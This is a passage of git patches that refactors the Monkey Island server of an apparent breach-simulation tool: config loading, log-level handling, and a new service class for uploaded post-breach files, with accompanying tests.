b/monkey/monkey_island/config_loader.py @@ -9,12 +9,12 @@ def load_server_config(server_config_path): with open(server_config_path, "r") as f: config_content = f.read() - data = json.loads(config_content) - data_dir = os.path.abspath( + config = json.loads(config_content) + config["data_dir"] = os.path.abspath( os.path.expanduser( - os.path.expandvars(data["data_dir"] if "data_dir" in data else DEFAULT_DATA_DIR) + os.path.expandvars(config["data_dir"] if "data_dir" in config else DEFAULT_DATA_DIR) ) ) - log_level = data["log_level"] if "log_level" in data else DEFAULT_LOG_LEVEL + config["log_level"] = config["log_level"] if "log_level" in config else DEFAULT_LOG_LEVEL - return data_dir, log_level + return config diff --git a/monkey/tests/monkey_island/test_config_loader.py b/monkey/tests/monkey_island/test_config_loader.py index ac2e3537770..f65bfe1978d 100644 --- a/monkey/tests/monkey_island/test_config_loader.py +++ b/monkey/tests/monkey_island/test_config_loader.py @@ -4,7 +4,7 @@ def test_load_server_config_from_file(test_server_config, mock_home_env): - (data_dir, log_level) = config_loader.load_server_config(test_server_config) + config = config_loader.load_server_config(test_server_config) - assert data_dir == os.path.join(mock_home_env, ".monkey_island") - assert log_level == "NOTICE" + assert config["data_dir"] == os.path.join(mock_home_env, ".monkey_island") + assert config["log_level"] == "NOTICE" From de7865aa219f4da8d7359be073374d70af0264cb Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 11 May 2021 13:25:22 -0400 Subject: [PATCH 0445/1360] island: Add tests for default server config values --- monkey/monkey_island.py | 2 +- monkey/monkey_island/config_loader.py | 20 ++++++++++++------- .../tests/monkey_island/test_config_loader.py | 19 +++++++++++++++++- 3 files changed, 32 insertions(+), 9 deletions(-) diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py index 51f2e1a114f..5363ac5de20 100644 --- a/monkey/monkey_island.py +++ b/monkey/monkey_island.py @@ -18,7 +18,7 @@ try: server_config_path = os.path.expanduser(island_args.server_config) - config = config_loader.load_server_config(server_config_path) + config = config_loader.load_server_config_from_file(server_config_path) setup_logging(config["data_dir"], config["log_level"]) diff --git a/monkey/monkey_island/config_loader.py b/monkey/monkey_island/config_loader.py index 357cacbb8c3..5cdb149b713 100644 --- a/monkey/monkey_island/config_loader.py +++ b/monkey/monkey_island/config_loader.py @@ -6,15 +6,21 @@ DEFAULT_LOG_LEVEL = "INFO" -def load_server_config(server_config_path): +def load_server_config_from_file(server_config_path): with open(server_config_path, "r") as f: config_content = f.read() config = json.loads(config_content) - config["data_dir"] = os.path.abspath( - os.path.expanduser( - os.path.expandvars(config["data_dir"] if "data_dir" in config else DEFAULT_DATA_DIR) - ) - ) - config["log_level"] = config["log_level"] if "log_level" in config else DEFAULT_LOG_LEVEL + add_default_values_to_config(config) return config + + +def add_default_values_to_config(config): + config["data_dir"] = os.path.abspath( + os.path.expanduser( + os.path.expandvars(config["data_dir"] if "data_dir" in config else DEFAULT_DATA_DIR) + ) + ) + config["log_level"] = config["log_level"] if "log_level" in config else DEFAULT_LOG_LEVEL + + return config diff --git a/monkey/tests/monkey_island/test_config_loader.py b/monkey/tests/monkey_island/test_config_loader.py index f65bfe1978d..20c330f6a91 100644 --- a/monkey/tests/monkey_island/test_config_loader.py +++ b/monkey/tests/monkey_island/test_config_loader.py @@ -1,10 +1,27 @@ import os from monkey_island import config_loader +from monkey_island.cc.server_utils.consts import DEFAULT_DATA_DIR def test_load_server_config_from_file(test_server_config, mock_home_env): - config = config_loader.load_server_config(test_server_config) + config = config_loader.load_server_config_from_file(test_server_config) assert config["data_dir"] == os.path.join(mock_home_env, ".monkey_island") assert config["log_level"] == "NOTICE" + + +def test_default_log_level(): + test_config = {} + config = config_loader.add_default_values_to_config(test_config) + + assert "log_level" in config + assert config["log_level"] == "INFO" + + +def test_default_data_dir(mock_home_env): + test_config = {} + config = config_loader.add_default_values_to_config(test_config) + + assert "data_dir" in config + assert config["data_dir"] == DEFAULT_DATA_DIR From 5ea241f120e1276098f475db53bbf0efa2c43a8f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 11 May 2021 13:29:53 -0400 Subject: [PATCH 0446/1360] island: Simplify logic in add_default_values_to_config() --- monkey/monkey_island/config_loader.py | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/config_loader.py b/monkey/monkey_island/config_loader.py index 5cdb149b713..aaa9185d700 100644 --- a/monkey/monkey_island/config_loader.py +++ b/monkey/monkey_island/config_loader.py @@ -17,10 +17,9 @@ def load_server_config_from_file(server_config_path): def add_default_values_to_config(config): config["data_dir"] = os.path.abspath( - os.path.expanduser( - os.path.expandvars(config["data_dir"] if "data_dir" in config else DEFAULT_DATA_DIR) - ) + os.path.expanduser(os.path.expandvars(config.get("data_dir", DEFAULT_DATA_DIR))) ) - config["log_level"] = config["log_level"] if "log_level" in config else DEFAULT_LOG_LEVEL + + config.setdefault("log_level", DEFAULT_LOG_LEVEL) return config From 08668f3eae0151079d2cb5383db1c02d90c28ba3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 11 May 2021 13:40:58 -0400 Subject: [PATCH 0447/1360] island: Handle lower case log levels in server config --- .../monkey_island/cc/server_utils/island_logger.py | 2 +- .../cc/server_utils/test_island_logger.py | 14 ++++++++++++++ 2 files changed, 15 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/server_utils/island_logger.py b/monkey/monkey_island/cc/server_utils/island_logger.py index 1e8b9b86ea8..c05915bc813 100644 --- a/monkey/monkey_island/cc/server_utils/island_logger.py +++ b/monkey/monkey_island/cc/server_utils/island_logger.py @@ -48,6 +48,6 @@ def setup_logging(data_dir_path, log_level): logger_configuration["handlers"]["file_handler"]["filename"] = os.path.join( data_dir_path, ISLAND_LOG_FILENAME ) - logger_configuration["root"]["level"] = log_level + logger_configuration["root"]["level"] = log_level.upper() logging.config.dictConfig(logger_configuration) diff --git a/monkey/tests/monkey_island/cc/server_utils/test_island_logger.py b/monkey/tests/monkey_island/cc/server_utils/test_island_logger.py index c301f3d5b54..9f4e59af8f5 100644 --- a/monkey/tests/monkey_island/cc/server_utils/test_island_logger.py +++ b/monkey/tests/monkey_island/cc/server_utils/test_island_logger.py @@ -64,3 +64,17 @@ def test_setup_logging_console_log_level_info(capsys, tmpdir): captured = capsys.readouterr() assert TEST_STRING not in captured.out + + +def test_setup_logging_console_log_level_lower_case(capsys, tmpdir): + DATA_DIR = tmpdir + LOG_LEVEL = "debug" + TEST_STRING = "Hello, Monkey! (Console; Log level: debug)" + + setup_logging(DATA_DIR, LOG_LEVEL) + + logger = logging.getLogger("TestLogger") + logger.debug(TEST_STRING) + + captured = capsys.readouterr() + assert TEST_STRING in captured.out From b13839d7babf0ab6fd09683dc93c6f9ac626b91a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 11 May 2021 14:01:43 -0400 Subject: [PATCH 0448/1360] island: Add debug log level to server_config.json.develop --- monkey/monkey_island/cc/server_config.json.develop | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/server_config.json.develop b/monkey/monkey_island/cc/server_config.json.develop index ecc4c17085f..33fb3348740 100644 --- a/monkey/monkey_island/cc/server_config.json.develop +++ b/monkey/monkey_island/cc/server_config.json.develop @@ -1,4 +1,5 @@ { "server_config": "password", - "deployment": "develop" + "deployment": "develop", + "log_level": "DEBUG" } From f048cf313ca26f75f2b0cccc1d41e65a96e08743 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 11 May 2021 06:18:43 -0400 Subject: [PATCH 0449/1360] island: Pass data_dir to LocalRun instead of using global singleton --- monkey/monkey_island/cc/app.py | 13 +++++++++---- monkey/monkey_island/cc/main.py | 10 ++++++---- monkey/monkey_island/cc/resources/local_run.py | 8 +++++--- 3 files changed, 20 insertions(+), 11 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 7467c4bdde4..a41b26e9ae0 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -117,14 +117,19 @@ def init_app_url_rules(app): app.add_url_rule("/", "serve_static_file", serve_static_file) -def init_api_resources(api): +def init_api_resources(api, data_dir): api.add_resource(Root, "/api") api.add_resource(Registration, "/api/registration") api.add_resource(Authenticate, "/api/auth") api.add_resource(Environment, "/api/environment") api.add_resource(Monkey, "/api/monkey", "/api/monkey/", "/api/monkey/") api.add_resource(Bootloader, "/api/bootloader/") - api.add_resource(LocalRun, "/api/local-monkey", "/api/local-monkey/") + api.add_resource( + LocalRun, + "/api/local-monkey", + "/api/local-monkey/", + resource_class_kwargs={"data_dir": data_dir}, + ) api.add_resource(ClientRun, "/api/client-monkey", "/api/client-monkey/") api.add_resource( Telemetry, "/api/telemetry", "/api/telemetry/", "/api/telemetry/" @@ -173,7 +178,7 @@ def init_api_resources(api): api.add_resource(TelemetryBlackboxEndpoint, "/api/test/telemetry") -def init_app(mongo_url): +def init_app(mongo_url, data_dir): app = Flask(__name__) api = flask_restful.Api(app) @@ -182,6 +187,6 @@ def init_app(mongo_url): init_app_config(app, mongo_url) init_app_services(app) init_app_url_rules(app) - init_api_resources(api) + init_api_resources(api, data_dir) return app diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index ba5ee856cb8..288baae6796 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -35,8 +35,10 @@ def main(should_setup_only=False, server_config_filename=DEFAULT_SERVER_CONFIG_PATH): logger.info("Starting bootloader server") + + data_dir = env_singleton.env.get_config().data_dir_abs_path env_singleton.initialize_from_file(server_config_filename) - initialize_encryptor(env_singleton.env.get_config().data_dir_abs_path) + initialize_encryptor(data_dir) mongo_url = os.environ.get("MONGO_URL", env_singleton.env.get_mongo_url()) bootloader_server_thread = Thread( @@ -44,17 +46,17 @@ def main(should_setup_only=False, server_config_filename=DEFAULT_SERVER_CONFIG_P ) bootloader_server_thread.start() - start_island_server(should_setup_only) + start_island_server(should_setup_only, data_dir) bootloader_server_thread.join() -def start_island_server(should_setup_only): +def start_island_server(should_setup_only, data_dir): mongo_url = os.environ.get("MONGO_URL", env_singleton.env.get_mongo_url()) wait_for_mongo_db_server(mongo_url) assert_mongo_db_version(mongo_url) populate_exporter_list() - app = init_app(mongo_url) + app = init_app(mongo_url, data_dir) crt_path = str(Path(MONKEY_ISLAND_ABS_PATH, "cc", "server.crt")) key_path = str(Path(MONKEY_ISLAND_ABS_PATH, "cc", "server.key")) diff --git a/monkey/monkey_island/cc/resources/local_run.py b/monkey/monkey_island/cc/resources/local_run.py index 2adc60cbedd..91c02a4f73e 100644 --- a/monkey/monkey_island/cc/resources/local_run.py +++ b/monkey/monkey_island/cc/resources/local_run.py @@ -20,7 +20,7 @@ logger = logging.getLogger(__name__) -def run_local_monkey(): +def run_local_monkey(dest_dir): import platform import stat import subprocess @@ -31,7 +31,6 @@ def run_local_monkey(): return False, "OS Type not found" src_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "binaries", result["filename"]) - dest_dir = env_singleton.env.get_config().data_dir_abs_path dest_path = os.path.join(dest_dir, result["filename"]) # copy the executable to temp path (don't run the monkey from its current location as it may @@ -60,6 +59,9 @@ def run_local_monkey(): class LocalRun(flask_restful.Resource): + def __init__(self, data_dir): + self._data_dir = data_dir + @jwt_required def get(self): NodeService.update_dead_monkeys() @@ -75,7 +77,7 @@ def get(self): def post(self): body = json.loads(request.data) if body.get("action") == "run": - local_run = run_local_monkey() + local_run = run_local_monkey(self._data_dir) return jsonify(is_running=local_run[0], error_text=local_run[1]) # default action From ba86ba039543fa4cd00df33b7fc16d77b9594bc8 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 11 May 2021 07:21:08 -0400 Subject: [PATCH 0450/1360] island: Decouple Database service from services.post_breach_files Since Database.reset_db() calls ConfigService.init_config() which calls ConfigService.reset_config() which calls services.post_breach_files.remove_PBA_files(), it is redundant to call remove_PBA_files() from Database.reset_db(). Removing this call has the added benefit of reducing the coupling between the Database service and services.post_breach_files --- monkey/monkey_island/cc/services/database.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/database.py b/monkey/monkey_island/cc/services/database.py index 2efd3643a2b..d0656f94666 100644 --- a/monkey/monkey_island/cc/services/database.py +++ b/monkey/monkey_island/cc/services/database.py @@ -6,7 +6,6 @@ from monkey_island.cc.models.attack.attack_mitigations import AttackMitigations from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.services.config import ConfigService -from monkey_island.cc.services.post_breach_files import remove_PBA_files logger = logging.getLogger(__name__) @@ -18,7 +17,6 @@ def __init__(self): @staticmethod def reset_db(): logger.info("Resetting database") - remove_PBA_files() # We can't drop system collections. [ Database.drop_collection(x) From a7f2e023b89aefed1182bba0f4a20905fc4e857a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 11 May 2021 07:47:40 -0400 Subject: [PATCH 0451/1360] island: Wrap services/post_breach_files.py functions in a static class --- monkey/monkey_island/cc/services/config.py | 6 +- .../cc/services/post_breach_files.py | 76 ++++++++++--------- 2 files changed, 42 insertions(+), 40 deletions(-) diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index d6b34e60b3d..4b41501b4b7 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -6,10 +6,10 @@ from jsonschema import Draft4Validator, validators import monkey_island.cc.environment.environment_singleton as env_singleton -import monkey_island.cc.services.post_breach_files from monkey_island.cc.database import mongo from monkey_island.cc.server_utils.encryptor import get_encryptor from monkey_island.cc.services.config_schema.config_schema import SCHEMA +from monkey_island.cc.services.post_breach_files import PostBreachFilesService from monkey_island.cc.services.utils.network_utils import local_ip_addresses __author__ = "itay.mizeretz" @@ -191,7 +191,7 @@ def update_config(config_json, should_encrypt): # PBA file upload happens on pba_file_upload endpoint and corresponding config options # are set there config_json = ConfigService._filter_none_values(config_json) - monkey_island.cc.services.post_breach_files.set_config_PBA_files(config_json) + PostBreachFilesService.set_config_PBA_files(config_json) if should_encrypt: try: ConfigService.encrypt_config(config_json) @@ -229,7 +229,7 @@ def init_config(): @staticmethod def reset_config(): - monkey_island.cc.services.post_breach_files.remove_PBA_files() + PostBreachFilesService.remove_PBA_files() config = ConfigService.get_default_config(True) ConfigService.set_server_ips_in_config(config) ConfigService.update_config(config, should_encrypt=False) diff --git a/monkey/monkey_island/cc/services/post_breach_files.py b/monkey/monkey_island/cc/services/post_breach_files.py index 626a2a56d4a..aa9065b569d 100644 --- a/monkey/monkey_island/cc/services/post_breach_files.py +++ b/monkey/monkey_island/cc/services/post_breach_files.py @@ -14,40 +14,42 @@ PBA_LINUX_FILENAME_PATH = ["monkey", "post_breach", "PBA_linux_filename"] -def remove_PBA_files(): - if monkey_island.cc.services.config.ConfigService.get_config(): - windows_filename = monkey_island.cc.services.config.ConfigService.get_config_value( - PBA_WINDOWS_FILENAME_PATH - ) - linux_filename = monkey_island.cc.services.config.ConfigService.get_config_value( - PBA_LINUX_FILENAME_PATH - ) - if linux_filename: - remove_file(linux_filename) - if windows_filename: - remove_file(windows_filename) - - -def remove_file(file_name): - file_path = os.path.join(env_singleton.env.get_config().data_dir_abs_path, file_name) - try: - if os.path.exists(file_path): - os.remove(file_path) - except OSError as e: - logger.error("Can't remove previously uploaded post breach files: %s" % e) - - -def set_config_PBA_files(config_json): - """ - Sets PBA file info in config_json to current config's PBA file info values. - :param config_json: config_json that will be modified - """ - if monkey_island.cc.services.config.ConfigService.get_config(): - linux_filename = monkey_island.cc.services.config.ConfigService.get_config_value( - PBA_LINUX_FILENAME_PATH - ) - windows_filename = monkey_island.cc.services.config.ConfigService.get_config_value( - PBA_WINDOWS_FILENAME_PATH - ) - config_json["monkey"]["post_breach"]["PBA_linux_filename"] = linux_filename - config_json["monkey"]["post_breach"]["PBA_windows_filename"] = windows_filename +class PostBreachFilesService: + @staticmethod + def remove_PBA_files(): + if monkey_island.cc.services.config.ConfigService.get_config(): + windows_filename = monkey_island.cc.services.config.ConfigService.get_config_value( + PBA_WINDOWS_FILENAME_PATH + ) + linux_filename = monkey_island.cc.services.config.ConfigService.get_config_value( + PBA_LINUX_FILENAME_PATH + ) + if linux_filename: + PostBreachFilesService._remove_file(linux_filename) + if windows_filename: + PostBreachFilesService._remove_file(windows_filename) + + @staticmethod + def _remove_file(file_name): + file_path = os.path.join(env_singleton.env.get_config().data_dir_abs_path, file_name) + try: + if os.path.exists(file_path): + os.remove(file_path) + except OSError as e: + logger.error("Can't remove previously uploaded post breach files: %s" % e) + + @staticmethod + def set_config_PBA_files(config_json): + """ + Sets PBA file info in config_json to current config's PBA file info values. + :param config_json: config_json that will be modified + """ + if monkey_island.cc.services.config.ConfigService.get_config(): + linux_filename = monkey_island.cc.services.config.ConfigService.get_config_value( + PBA_LINUX_FILENAME_PATH + ) + windows_filename = monkey_island.cc.services.config.ConfigService.get_config_value( + PBA_WINDOWS_FILENAME_PATH + ) + config_json["monkey"]["post_breach"]["PBA_linux_filename"] = linux_filename + config_json["monkey"]["post_breach"]["PBA_windows_filename"] = windows_filename From ee19eed596a8b38fcc3ce379ad547aaf27cf4582 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 11 May 2021 08:21:54 -0400 Subject: [PATCH 0452/1360] island: Decouple PostBreachFilesService from environment_singleton --- monkey/monkey_island/cc/main.py | 2 ++ monkey/monkey_island/cc/services/initialize.py | 9 +++++++++ monkey/monkey_island/cc/services/post_breach_files.py | 6 +++--- 3 files changed, 14 insertions(+), 3 deletions(-) create mode 100644 monkey/monkey_island/cc/services/initialize.py diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index 288baae6796..5b3bfd7944e 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -26,6 +26,7 @@ from monkey_island.cc.server_utils.bootloader_server import BootloaderHttpServer # noqa: E402 from monkey_island.cc.server_utils.consts import DEFAULT_SERVER_CONFIG_PATH # noqa: E402 from monkey_island.cc.server_utils.encryptor import initialize_encryptor # noqa: E402 +from monkey_island.cc.services.initialize import initialize_services # noqa: E402 from monkey_island.cc.services.reporting.exporter_init import populate_exporter_list # noqa: E402 from monkey_island.cc.services.utils.network_utils import local_ip_addresses # noqa: E402 from monkey_island.cc.setup import setup # noqa: E402 @@ -39,6 +40,7 @@ def main(should_setup_only=False, server_config_filename=DEFAULT_SERVER_CONFIG_P data_dir = env_singleton.env.get_config().data_dir_abs_path env_singleton.initialize_from_file(server_config_filename) initialize_encryptor(data_dir) + initialize_services(data_dir) mongo_url = os.environ.get("MONGO_URL", env_singleton.env.get_mongo_url()) bootloader_server_thread = Thread( diff --git a/monkey/monkey_island/cc/services/initialize.py b/monkey/monkey_island/cc/services/initialize.py new file mode 100644 index 00000000000..45301946fd1 --- /dev/null +++ b/monkey/monkey_island/cc/services/initialize.py @@ -0,0 +1,9 @@ +from monkey_island.cc.services.post_breach_files import PostBreachFilesService + + +def initialize_services(data_dir): + initialize_post_breach_file_service(data_dir) + + +def initialize_post_breach_file_service(data_dir): + PostBreachFilesService.DATA_DIR = data_dir diff --git a/monkey/monkey_island/cc/services/post_breach_files.py b/monkey/monkey_island/cc/services/post_breach_files.py index aa9065b569d..1224f67593e 100644 --- a/monkey/monkey_island/cc/services/post_breach_files.py +++ b/monkey/monkey_island/cc/services/post_breach_files.py @@ -5,8 +5,6 @@ __author__ = "VakarisZ" -import monkey_island.cc.environment.environment_singleton as env_singleton - logger = logging.getLogger(__name__) # Where to find file names in config @@ -15,6 +13,8 @@ class PostBreachFilesService: + DATA_DIR = None + @staticmethod def remove_PBA_files(): if monkey_island.cc.services.config.ConfigService.get_config(): @@ -31,7 +31,7 @@ def remove_PBA_files(): @staticmethod def _remove_file(file_name): - file_path = os.path.join(env_singleton.env.get_config().data_dir_abs_path, file_name) + file_path = os.path.join(PostBreachFilesService.DATA_DIR, file_name) try: if os.path.exists(file_path): os.remove(file_path) From 4190797ca208d71154c6898353d57f651bbf9677 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 11 May 2021 08:30:59 -0400 Subject: [PATCH 0453/1360] island: Add PostBreachFilesService.get_custom_pba_directory() --- monkey/monkey_island/cc/services/post_breach_files.py | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/post_breach_files.py b/monkey/monkey_island/cc/services/post_breach_files.py index 1224f67593e..d0c1b6a56e6 100644 --- a/monkey/monkey_island/cc/services/post_breach_files.py +++ b/monkey/monkey_island/cc/services/post_breach_files.py @@ -14,6 +14,7 @@ class PostBreachFilesService: DATA_DIR = None + CUSTOM_PBA_DIRNAME = "custom_pbas" @staticmethod def remove_PBA_files(): @@ -31,13 +32,19 @@ def remove_PBA_files(): @staticmethod def _remove_file(file_name): - file_path = os.path.join(PostBreachFilesService.DATA_DIR, file_name) + file_path = os.path.join(PostBreachFilesService.get_custom_pba_directory(), file_name) try: if os.path.exists(file_path): os.remove(file_path) except OSError as e: logger.error("Can't remove previously uploaded post breach files: %s" % e) + @staticmethod + def get_custom_pba_directory(): + return os.path.join( + PostBreachFilesService.DATA_DIR, PostBreachFilesService.CUSTOM_PBA_DIRNAME + ) + @staticmethod def set_config_PBA_files(config_json): """ From be0f7ac88134db1020d487f6a7fe381b0f2d2ee6 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 11 May 2021 08:33:56 -0400 Subject: [PATCH 0454/1360] island: Decouple PBAFileDownload from environment_singleton --- monkey/monkey_island/cc/app.py | 2 +- monkey/monkey_island/cc/resources/pba_file_download.py | 7 ++++--- 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index a41b26e9ae0..269b9a5d374 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -155,7 +155,7 @@ def init_api_resources(api, data_dir): api.add_resource(TelemetryFeed, "/api/telemetry-feed", "/api/telemetry-feed/") api.add_resource(Log, "/api/log", "/api/log/") api.add_resource(IslandLog, "/api/log/island/download", "/api/log/island/download/") - api.add_resource(PBAFileDownload, "/api/pba/download/") + api.add_resource(PBAFileDownload, "/api/pba/download/") api.add_resource(T1216PBAFileDownload, T1216_PBA_FILE_DOWNLOAD_PATH) api.add_resource( FileUpload, diff --git a/monkey/monkey_island/cc/resources/pba_file_download.py b/monkey/monkey_island/cc/resources/pba_file_download.py index 4bb409eec5a..ec2abecfe19 100644 --- a/monkey/monkey_island/cc/resources/pba_file_download.py +++ b/monkey/monkey_island/cc/resources/pba_file_download.py @@ -1,7 +1,7 @@ import flask_restful from flask import send_from_directory -import monkey_island.cc.environment.environment_singleton as env_singleton +from monkey_island.cc.services.post_breach_files import PostBreachFilesService __author__ = "VakarisZ" @@ -12,5 +12,6 @@ class PBAFileDownload(flask_restful.Resource): """ # Used by monkey. can't secure. - def get(self, path): - return send_from_directory(env_singleton.env.get_config().data_dir_abs_path, path) + def get(self, filename): + custom_pba_dir = PostBreachFilesService.get_custom_pba_directory() + return send_from_directory(custom_pba_dir, filename) From ca65330e863eb91205f6d007751e4e0270a32f01 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 11 May 2021 08:44:31 -0400 Subject: [PATCH 0455/1360] island: Create custom PBA directory on PostBreachFilesService init --- monkey/monkey_island/cc/resources/pba_file_upload.py | 4 ---- monkey/monkey_island/cc/services/config.py | 2 ++ monkey/monkey_island/cc/services/initialize.py | 2 +- monkey/monkey_island/cc/services/post_breach_files.py | 10 ++++++++++ 4 files changed, 13 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/resources/pba_file_upload.py b/monkey/monkey_island/cc/resources/pba_file_upload.py index 6ae209a12a2..01cae595ea8 100644 --- a/monkey/monkey_island/cc/resources/pba_file_upload.py +++ b/monkey/monkey_island/cc/resources/pba_file_upload.py @@ -28,10 +28,6 @@ class FileUpload(flask_restful.Resource): File upload endpoint used to exchange files with filepond component on the front-end """ - def __init__(self): - # Create all directories on the way if they don't exist - Path(env_singleton.env.get_config().data_dir_abs_path).mkdir(parents=True, exist_ok=True) - @jwt_required def get(self, file_type): """ diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 4b41501b4b7..3dbdd9039e2 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -9,6 +9,8 @@ from monkey_island.cc.database import mongo from monkey_island.cc.server_utils.encryptor import get_encryptor from monkey_island.cc.services.config_schema.config_schema import SCHEMA + +# TODO: Remove circular dependency between ConfigService and PostBreachFilesService. from monkey_island.cc.services.post_breach_files import PostBreachFilesService from monkey_island.cc.services.utils.network_utils import local_ip_addresses diff --git a/monkey/monkey_island/cc/services/initialize.py b/monkey/monkey_island/cc/services/initialize.py index 45301946fd1..564babcac08 100644 --- a/monkey/monkey_island/cc/services/initialize.py +++ b/monkey/monkey_island/cc/services/initialize.py @@ -6,4 +6,4 @@ def initialize_services(data_dir): def initialize_post_breach_file_service(data_dir): - PostBreachFilesService.DATA_DIR = data_dir + PostBreachFilesService.initialize(data_dir) diff --git a/monkey/monkey_island/cc/services/post_breach_files.py b/monkey/monkey_island/cc/services/post_breach_files.py index d0c1b6a56e6..a56c585de0e 100644 --- a/monkey/monkey_island/cc/services/post_breach_files.py +++ b/monkey/monkey_island/cc/services/post_breach_files.py @@ -1,6 +1,8 @@ import logging import os +from pathlib import Path +# TODO: Remove circular dependency between ConfigService and PostBreachFilesService. import monkey_island.cc.services.config __author__ = "VakarisZ" @@ -16,6 +18,14 @@ class PostBreachFilesService: DATA_DIR = None CUSTOM_PBA_DIRNAME = "custom_pbas" + # TODO: A number of these services should be instance objects instead of + # static/singleton hybrids. At the moment, this requires invasive refactoring that's + # not a priority. + @classmethod + def initialize(cls, data_dir): + cls.DATA_DIR = data_dir + Path(cls.get_custom_pba_directory()).mkdir(mode=0o0700, parents=True, exist_ok=True) + @staticmethod def remove_PBA_files(): if monkey_island.cc.services.config.ConfigService.get_config(): From 71029cb7f9ebdf49da694968e04362b40c5bd598 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 11 May 2021 08:51:48 -0400 Subject: [PATCH 0456/1360] island: Decouple FileUpload resource from environment_singleton --- monkey/monkey_island/cc/resources/pba_file_upload.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/resources/pba_file_upload.py b/monkey/monkey_island/cc/resources/pba_file_upload.py index 01cae595ea8..046e79efb26 100644 --- a/monkey/monkey_island/cc/resources/pba_file_upload.py +++ b/monkey/monkey_island/cc/resources/pba_file_upload.py @@ -7,12 +7,12 @@ from flask import Response, request, send_from_directory from werkzeug.utils import secure_filename -import monkey_island.cc.environment.environment_singleton as env_singleton from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.post_breach_files import ( PBA_LINUX_FILENAME_PATH, PBA_WINDOWS_FILENAME_PATH, + PostBreachFilesService, ) __author__ = "VakarisZ" @@ -40,7 +40,7 @@ def get(self, file_type): filename = ConfigService.get_config_value(copy.deepcopy(PBA_LINUX_FILENAME_PATH)) else: filename = ConfigService.get_config_value(copy.deepcopy(PBA_WINDOWS_FILENAME_PATH)) - return send_from_directory(env_singleton.env.get_config().data_dir_abs_path, filename) + return send_from_directory(PostBreachFilesService.get_custom_pba_directory(), filename) @jwt_required def post(self, file_type): @@ -64,7 +64,7 @@ def upload_pba_file(request_, is_linux=True): """ filename = secure_filename(request_.files["filepond"].filename) file_path = ( - Path(env_singleton.env.get_config().data_dir_abs_path).joinpath(filename).absolute() + Path(PostBreachFilesService.get_custom_pba_directory()).joinpath(filename).absolute() ) request_.files["filepond"].save(str(file_path)) ConfigService.set_config_value( @@ -84,7 +84,7 @@ def delete(self, file_type): ) filename = ConfigService.get_config_value(filename_path) if filename: - file_path = Path(env_singleton.env.get_config().data_dir_abs_path).joinpath(filename) + file_path = Path(PostBreachFilesService.get_custom_pba_directory()).joinpath(filename) FileUpload._delete_file(file_path) ConfigService.set_config_value(filename_path, "") From 5742e85ff58e0f79dc64ae6652d39aaee9daa8ba Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 11 May 2021 08:56:04 -0400 Subject: [PATCH 0457/1360] island: Consolidate duplicate delete post breach file functionality --- monkey/monkey_island/cc/resources/pba_file_upload.py | 12 +----------- .../monkey_island/cc/services/post_breach_files.py | 6 +++--- 2 files changed, 4 insertions(+), 14 deletions(-) diff --git a/monkey/monkey_island/cc/resources/pba_file_upload.py b/monkey/monkey_island/cc/resources/pba_file_upload.py index 046e79efb26..25b54cb2897 100644 --- a/monkey/monkey_island/cc/resources/pba_file_upload.py +++ b/monkey/monkey_island/cc/resources/pba_file_upload.py @@ -1,6 +1,5 @@ import copy import logging -import os from pathlib import Path import flask_restful @@ -84,16 +83,7 @@ def delete(self, file_type): ) filename = ConfigService.get_config_value(filename_path) if filename: - file_path = Path(PostBreachFilesService.get_custom_pba_directory()).joinpath(filename) - FileUpload._delete_file(file_path) + PostBreachFilesService.remove_file(filename) ConfigService.set_config_value(filename_path, "") return {} - - @staticmethod - def _delete_file(file_path): - try: - if os.path.exists(file_path): - os.remove(file_path) - except OSError as e: - LOG.error("Couldn't remove previously uploaded post breach files: %s" % e) diff --git a/monkey/monkey_island/cc/services/post_breach_files.py b/monkey/monkey_island/cc/services/post_breach_files.py index a56c585de0e..d7eeb93063f 100644 --- a/monkey/monkey_island/cc/services/post_breach_files.py +++ 